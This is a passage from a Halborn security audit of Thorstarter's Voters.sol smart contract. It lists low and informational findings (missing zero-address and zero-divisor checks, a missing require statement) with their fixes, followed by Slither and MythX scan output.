**Likelihood - 1**

**Impact - 3**

Recommendation:

Whenever tokens are transferred, the delta of the previous (before transfer) and current (after transfer) token balance should be verified to match the user-declared token amount.

Remediation Plan:

**SOLVED**: Thorstarter Team checks now the token balance before and after every token transfer.

## 3.6 (HAL-06) LACK OF ZERO ADDRESS CHECK - LOW

Description:

Lack of zero address validation has been found at many instances in the contract Voters.sol when assigning user supplied input. Functions toggleSnapshotter(), toggleTcLpKeeper(), delegate(), updateTclp(), _userInfo() and the constructor are missing this check.

Code Location:

**Listing 14: Voters.sol**

```
constructor(address _owner, address _token, address _sushiLpToken)
    {
    snapshotters[_owner] = true;
    tcLpKeepers[_owner] = true;
    token = IERC20(_token);
    sushiLpToken = IERC20(_sushiLpToken);
    currentSnapshotId = 1;
}
```

**Listing 15: Voters.sol**

```
function toggleSnapshotter(address user) external {
    require(snapshotters[msg.sender], "not snapshotter");
    snapshotters[user] = !snapshotters[user];
}

function toggleTcLpKeeper(address user) external {
    require(tcLpKeepers[msg.sender], "not tsLpKeeper");
    tcLpKeepers[user] = !tcLpKeepers[user];
}
```

Listing 16: Voters.sol

```
function delegate(address delegatee) external {
    UserInfo storage userInfo = _userInfos[msg.sender];
    address currentDelegate = userInfo.delegate;
    userInfo.delegate = delegatee;

    _updateSnapshot(_votesSnapshots[currentDelegate], votes(currentDelegate));
    _updateSnapshot(_votesSnapshots[delegatee], votes(delegatee));
    uint amount = balanceOf(msg.sender);
    _votes[currentDelegate] -= amount;
    _votes[delegatee] += amount;

    emit DelegateChanged(msg.sender, currentDelegate, delegatee);
}
```

Listing 17: Voters.sol

```
function updateTclp(address[] calldata users, uint[] calldata amounts, uint[] calldata values) public {
    require(tcLpKeepers[msg.sender], "not tcLpKeeper");
    require(users.length == amounts.length && users.length == values.length, "length");
    for (uint i = 0; i < users.length; i++) {
        address user = users[i];
        UserInfo storage userInfo = _userInfo(user);
        _updateSnapshot(_totalSupplySnapshots, totalSupply);
        _updateSnapshot(_balancesSnapshots[user], balanceOf(user));
        _updateSnapshot(_votesSnapshots[userInfo.delegate], votes(userInfo.delegate));

        uint previousValue = userInfo.lockedTcLpValue;
        totalSupply = totalSupply - previousValue + values[i];
        _votes[userInfo.delegate] = _votes[userInfo.delegate] - previousValue + values[i];
        userInfo.lockedTcLpValue = values[i];
        userInfo.lockedTcLpAmount = amounts[i];
        if (previousValue < values[i]) {
            emit Transfer(address(0), msg.sender, values[i] - previousValue);
        } else {
```

```
                emit Transfer(msg.sender, address(0), previousValue - values[i]);
            }
        }
}
```

**Listing 18: Voters.sol**

```
    function _userInfo(address user) private returns (UserInfo storage) {
        UserInfo storage userInfo = _userInfos[user];
        if (userInfo.delegate == address(0)) {
            userInfo.delegate = user;
        }
        if (userInfo.lastFeeGrowth == 0) {
            userInfo.lastFeeGrowth = lastFeeGrowth;
        } else {
            uint fees = (_userInfoTotal(userInfo) * (lastFeeGrowth - userInfo.lastFeeGrowth)) / 1e12;
            if (fees > 0) {
                _updateSnapshot(_totalSupplySnapshots, totalSupply);
                _updateSnapshot(_balancesSnapshots[user], balanceOf(user));
                _updateSnapshot(_votesSnapshots[userInfo.delegate], votes(userInfo.delegate));

                totalSupply += fees;
                userInfo.lockedToken += fees;
                userInfo.lastFeeGrowth = lastFeeGrowth;
                _votes[userInfo.delegate] += fees;
                emit Transfer(address(0), user, fees);
            }
        }
        return userInfo;
    }
```

Risk Level:

**Likelihood - 3**
**Impact - 2**

Recommendation:

Add proper address validation when every state variable assignment is done from user supplied input.

Remediation Plan:

**SOLVED**: Thorstarter Team added address validation to all the untrusted functions: delegate(), _userInfo()

# 3.7 (HAL-07) CHECK VARIABLE IS NOT EQUAL TO ZERO - INFORMATIONAL

## Description:

In the function lockSslp() the variable lpTokenSupply is used as denominator in a division. This variable should be checked that is different than zero.

## Code Location:

Listing 19: Voters.sol (Lines 226,228)

```
223 // Calculated updated *full* LP amount value and set (not
     increment)
224 // We do it like this and not based on just amount added so that
     unlock
225 // knows that the lockedSsLpValue is based on one rate and not
     multiple adds
226 uint lpTokenSupply = sushiLpToken.totalSupply();
227 uint lpTokenReserve = token.balanceOf(address(sushiLpToken));
228 uint amount = (2 * userInfo.lockedSsLpAmount * lpTokenReserve) /
     lpTokenSupply;
```

## Risk Level:

**Likelihood - 1**
**Impact - 1**

## Recommendation:

Add a require statement that checks that the variable lpTokenSupply is not equal to zero.

Remediation Plan:

**SOLVED**: Thorstarter Team rightly added the require statement that checks that the variable lpTokenSupply is not equal to zero.

# 3.8 (HAL-08) MISSING REQUIRE STATEMENT - INFORMATIONAL

## Description:

In the function `unlockSslp()`, in order to save some gas, a require statement could be added at the beginning of the function as there is nothing to do/decrement if the `lpAmount` equals to zero.

## Code Location:

**Listing 20: Voters.sol (Lines 255)**

```
function unlockSslp(uint lpAmount) external {
    UserInfo storage userInfo = _userInfo(msg.sender);
    require(lpAmount <= userInfo.lockedSsLpAmount, "locked balance
        too low");

    _updateSnapshot(_totalSupplySnapshots, totalSupply);
    _updateSnapshot(_balancesSnapshots[msg.sender], balanceOf(msg.
        sender));
    _updateSnapshot(_votesSnapshots[userInfo.delegate], votes(
        userInfo.delegate));

    // Proportionally decrement lockedSsLpValue & supply &
        delegated votes
    uint amount = lpAmount * userInfo.lockedSsLpValue / userInfo.
        lockedSsLpAmount;
    totalSupply -= amount;
    userInfo.lockedSsLpValue -= amount;
    userInfo.lockedSsLpAmount -= lpAmount;
    _votes[userInfo.delegate] -= amount;
    emit Transfer(msg.sender, address(0), amount);

    if (lpAmount > 0) {
        sushiLpToken.safeTransfer(msg.sender, lpAmount);
    }
}
```

Risk Level:

**Likelihood - 1**
**Impact - 2**

Recommendation:

Add a require statement that checks that lpAmount is not zero at the beginning of the function.

Example code

**Listing 21: Voters.sol (Lines 240,256)**

```
239 function unlockSslp(uint lpAmount) external {
240     require(lpAmount > 0, "lpAmount == 0");
241     UserInfo storage userInfo = _userInfo(msg.sender);
242     require(lpAmount <= userInfo.lockedSsLpAmount, "locked balance
         too low");
243 
244     _updateSnapshot(_totalSupplySnapshots, totalSupply);
245     _updateSnapshot(_balancesSnapshots[msg.sender], balanceOf(msg.
        sender));
246     _updateSnapshot(_votesSnapshots[userInfo.delegate], votes(
        userInfo.delegate));
247 
248     // Proportionally decrement lockedSsLpValue & supply &
        delegated votes
249     uint amount = lpAmount * userInfo.lockedSsLpValue / userInfo.
        lockedSsLpAmount;
250     totalSupply -= amount;
251     userInfo.lockedSsLpValue -= amount;
252     userInfo.lockedSsLpAmount -= lpAmount;
253     _votes[userInfo.delegate] -= amount;
254     emit Transfer(msg.sender, address(0), amount);
255 
256     sushiLpToken.safeTransfer(msg.sender, lpAmount);
257 }
```

Remediation Plan:

**SOLVED**: Thorstarter Team rightly added the require statement that checks that lpAmount is not zero.

# AUTOMATED TESTING

## 4.1 STATIC ANALYSIS REPORT

Description:

Halborn used automated testing techniques to enhance coverage of certain areas of the scoped contract. Among the tools used was Slither, a Solidity static analysis framework. After Halborn verified all the contracts in the repository and was able to compile them correctly into their abi and binary formats, Slither was run on the all-scoped contracts. This tool can statically verify mathematical relationships between Solidity variables to detect invalid or inconsistent usage of the contracts' APIs across the entire code-base.

Voters.sol - Slither results:

```
INFO:Detectors:
Reentrancy in Voters.lock(uint256) (contracts/Voters.sol#173-186):
        External calls:
        - token.safeTransferFrom(msg.sender,address(this),amount) (contracts/Voters.sol#176)
        State variables written after the call(s):
        - _votes[userInfo.delegate] += amount (contracts/Voters.sol#184)
        - totalSupply += amount (contracts/Voters.sol#182)
Reentrancy in Voters.lockSslp(uint256) (contracts/Voters.sol#206-237):
        External calls:
        - sushiLpToken.safeTransferFrom(msg.sender,address(this),lpAmount) (contracts/Voters.sol#209)
        State variables written after the call(s):
        - _votes[userInfo.delegate] -= userInfo.lockedSsLpValue (contracts/Voters.sol#218)
        - _votes[userInfo.delegate] += amount (contracts/Voters.sol#230)
        - totalSupply -= userInfo.lockedSsLpValue (contracts/Voters.sol#217)
        - totalSupply += amount (contracts/Voters.sol#229)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#reentrancy-vulnerabilities-1
INFO:Detectors:
Voters.userInfo(address).userInfo (contracts/Voters.sol#62) shadows:
        - Voters.userInfo(address) (contracts/Voters.sol#61-72) (function)
Voters.balanceOf(address).userInfo (contracts/Voters.sol#75) shadows:
        - Voters.userInfo(address) (contracts/Voters.sol#61-72) (function)
Voters.delegate(address).userInfo (contracts/Voters.sol#160) shadows:
        - Voters.userInfo(address) (contracts/Voters.sol#61-72) (function)
Voters.lock(uint256).userInfo (contracts/Voters.sol#174) shadows:
        - Voters.userInfo(address) (contracts/Voters.sol#61-72) (function)
Voters.unlock(uint256).userInfo (contracts/Voters.sol#189) shadows:
        - Voters.userInfo(address) (contracts/Voters.sol#61-72) (function)
Voters.lockSslp(uint256).userInfo (contracts/Voters.sol#207) shadows:
        - Voters.userInfo(address) (contracts/Voters.sol#61-72) (function)
Voters.unlockSslp(uint256).userInfo (contracts/Voters.sol#240) shadows:
        - Voters.userInfo(address) (contracts/Voters.sol#61-72) (function)
Voters.updateTclp(address[],uint256[],uint256[]).userInfo (contracts/Voters.sol#265) shadows:
        - Voters.userInfo(address) (contracts/Voters.sol#61-72) (function)
Voters._userInfo(address).userInfo (contracts/Voters.sol#284) shadows:
        - Voters.userInfo(address) (contracts/Voters.sol#61-72) (function)
Voters._userInfoTotal(Voters.UserInfo).userInfo (contracts/Voters.sol#307) shadows:
        - Voters.userInfo(address) (contracts/Voters.sol#61-72) (function)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#local-variable-shadowing
INFO:Detectors:
Reentrancy in Voters.donate(uint256) (contracts/Voters.sol#311-314):
        External calls:
        - token.safeTransferFrom(msg.sender,address(this),amount) (contracts/Voters.sol#312)
        State variables written after the call(s):
        - lastFeeGrowth += (amount * 1e12) / totalSupply (contracts/Voters.sol#313)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#reentrancy-vulnerabilities-2
```

```
INFO:Detectors:
Reentrancy in Voters.lock(uint256) (contracts/Voters.sol#173-186):
	External calls:
	- token.safeTransferFrom(msg.sender,address(this),amount) (contracts/Voters.sol#176)
	Event emitted after the call(s):
	- Transfer(address(0),msg.sender,amount) (contracts/Voters.sol#185)
Reentrancy in Voters.lockSslp(uint256) (contracts/Voters.sol#206-237):
	External calls:
	- sushiLpToken.safeTransferFrom(msg.sender,address(this),lpAmount) (contracts/Voters.sol#209)
	Event emitted after the call(s):
	- Transfer(address(0),msg.sender,userInfo.lockedSsLpValue - previousValue) (contracts/Voters.sol#233)
	- Transfer(msg.sender,address(0),previousValue - userInfo.lockedSsLpValue) (contracts/Voters.sol#235)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#reentrancy-vulnerabilities-3
INFO:Detectors:
Address.isContract(address) (node_modules/@openzeppelin/contracts/utils/Address.sol#26-36) uses assembly
	- INLINE ASM (node_modules/@openzeppelin/contracts/utils/Address.sol#32-34)
Address._verifyCallResult(bool,bytes,string) (node_modules/@openzeppelin/contracts/utils/Address.sol#189-209) uses assembly
	- INLINE ASM (node_modules/@openzeppelin/contracts/utils/Address.sol#201-204)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#assembly-usage
INFO:Detectors:
Different versions of Solidity is used:
	- Version used: ['0.8.6', '^0.8.0']
	- ^0.8.0 (node_modules/@openzeppelin/contracts/token/ERC20/IERC20.sol#3)
	- ^0.8.0 (node_modules/@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol#3)
	- ^0.8.0 (node_modules/@openzeppelin/contracts/utils/Address.sol#3)
	- 0.8.6 (contracts/Voters.sol#2)
	- 0.8.6 (contracts/interfaces/IUniswapV2Pair.sol#2)
	- 0.8.6 (contracts/interfaces/IVoters.sol#2)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#different-pragma-directives-are-used
INFO:Detectors:
Voters.updateTclp(address[],uint256[],uint256[]) (contracts/Voters.sol#260-281) has costly operations inside a loop:
	- totalSupply = totalSupply - previousValue + values[i] (contracts/Voters.sol#271)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#costly-operations-inside-a-loop
INFO:Detectors:
Address.functionCall(address,bytes) (node_modules/@openzeppelin/contracts/utils/Address.sol#79-81) is never used and should be removed
Address.functionCallWithValue(address,bytes,uint256) (node_modules/@openzeppelin/contracts/utils/Address.sol#108-114) is never used and should be removed
Address.functionDelegateCall(address,bytes) (node_modules/@openzeppelin/contracts/utils/Address.sol#168-170) is never used and should be removed
Address.functionDelegateCall(address,bytes,string) (node_modules/@openzeppelin/contracts/utils/Address.sol#178-187) is never used and should be removed
Address.functionStaticCall(address,bytes) (node_modules/@openzeppelin/contracts/utils/Address.sol#141-143) is never used and should be removed
Address.functionStaticCall(address,bytes,string) (node_modules/@openzeppelin/contracts/utils/Address.sol#151-160) is never used and should be removed
Address.sendValue(address,uint256) (node_modules/@openzeppelin/contracts/utils/Address.sol#54-59) is never used and should be removed
SafeERC20.safeApprove(IERC20,address,uint256) (node_modules/@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol#44-57) is never used and should be removed
SafeERC20.safeDecreaseAllowance(IERC20,address,uint256) (node_modules/@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol#68-79) is never used and should be removed
SafeERC20.safeIncreaseAllowance(IERC20,address,uint256) (node_modules/@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol#59-66) is never used and should be removed
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#dead-code
```

```
INFO:Detectors:
Pragma version^0.8.0 (node_modules/@openzeppelin/contracts/token/ERC20/IERC20.sol#3) necessitates a version too recent to be trusted. Consider deploying with 0.6.12/0.7.6
Pragma version^0.8.0 (node_modules/@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol#3) necessitates a version too recent to be trusted. Consider deploying with 0.6.12/0.7.6
Pragma version^0.8.0 (node_modules/@openzeppelin/contracts/utils/Address.sol#3) necessitates a version too recent to be trusted. Consider deploying with 0.6.12/0.7.6
Pragma version0.8.6 (contracts/Voters.sol#2) necessitates a version too recent to be trusted. Consider deploying with 0.6.12/0.7.6
Pragma version0.8.6 (contracts/interfaces/IUniswapV2Pair.sol#2) necessitates a version too recent to be trusted. Consider deploying with 0.6.12/0.7.6
Pragma version0.8.6 (contracts/interfaces/IVoters.sol#2) necessitates a version too recent to be trusted. Consider deploying with 0.6.12/0.7.6
solc-0.8.6 is not recommended for deployment
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#incorrect-versions-of-solidity
INFO:Detectors:
Low level call in Address.sendValue(address,uint256) (node_modules/@openzeppelin/contracts/utils/Address.sol#54-59):
	- (success) = recipient.call{value: amount}() (node_modules/@openzeppelin/contracts/utils/Address.sol#57)
Low level call in Address.functionCallWithValue(address,bytes,uint256,string) (node_modules/@openzeppelin/contracts/utils/Address.sol#122-133):
	- (success,returndata) = target.call{value: value}(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#131)
Low level call in Address.functionStaticCall(address,bytes,string) (node_modules/@openzeppelin/contracts/utils/Address.sol#151-160):
	- (success,returndata) = target.staticcall(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#158)
Low level call in Address.functionDelegateCall(address,bytes,string) (node_modules/@openzeppelin/contracts/utils/Address.sol#178-187):
	- (success,returndata) = target.delegatecall(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#185)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#low-level-calls
INFO:Detectors:
Voters.name (contracts/Voters.sol#37) should be constant
Voters.symbol (contracts/Voters.sol#38) should be constant
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#state-variables-that-could-be-declared-constant
INFO:Detectors:
userInfo(address) should be declared external:
	- Voters.userInfo(address) (contracts/Voters.sol#61-72)
balanceOfAt(address,uint256) should be declared external:
	- Voters.balanceOfAt(address,uint256) (contracts/Voters.sol#79-82)
votesAt(address,uint256) should be declared external:
	- Voters.votesAt(address,uint256) (contracts/Voters.sol#88-91)
totalSupplyAt(uint256) should be declared external:
	- Voters.totalSupplyAt(uint256) (contracts/Voters.sol#93-96)
updateTclp(address[],uint256[],uint256[]) should be declared external:
	- Voters.updateTclp(address[],uint256[],uint256[]) (contracts/Voters.sol#260-281)
donate(uint256) should be declared external:
	- Voters.donate(uint256) (contracts/Voters.sol#311-314)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#public-function-that-could-be-declared-external
INFO:Slither:contracts/Voters.sol analyzed (6 contracts with 75 detectors), 48 result(s) found
```

As the Token contracts are trusted and set in the constructor by the creator of the Voters.sol contract there is no risk of reentrancy. Although, this is being flagged by Slither because the code does not follow the checks-effects-interactions pattern. It is highly recommended to revise the code and make sure this pattern is followed everywhere.

## 4.2 AUTOMATED SECURITY SCAN

Description:

Halborn used automated security scanners to assist with detection of well-known security issues, and to identify low-hanging fruits on the targets for this engagement. Among the tools used was MythX, a security analysis service for Ethereum smart contracts. MythX performed a scan on the Voters.sol contract and sent the compiled results to the analyzers to locate any vulnerabilities.

Voters.sol - MythX results:

Report for contracts/Voters.sol
https://dashboard.mythx.io/#/console/analyses/d3727b50-c9fc-401a-b166-8452e606f881

| Line | SWC Title | Severity | Short Description |
|---|---|---|---|
| 42 | (SWC-108) State Variable Default Visibility | Low | State variable visibility is not set. |
| 43 | (SWC-108) State Variable Default Visibility | Low | State variable visibility is not set. |

No relevant findings came out from MythX.

THANK YOU FOR CHOOSING

HALBORN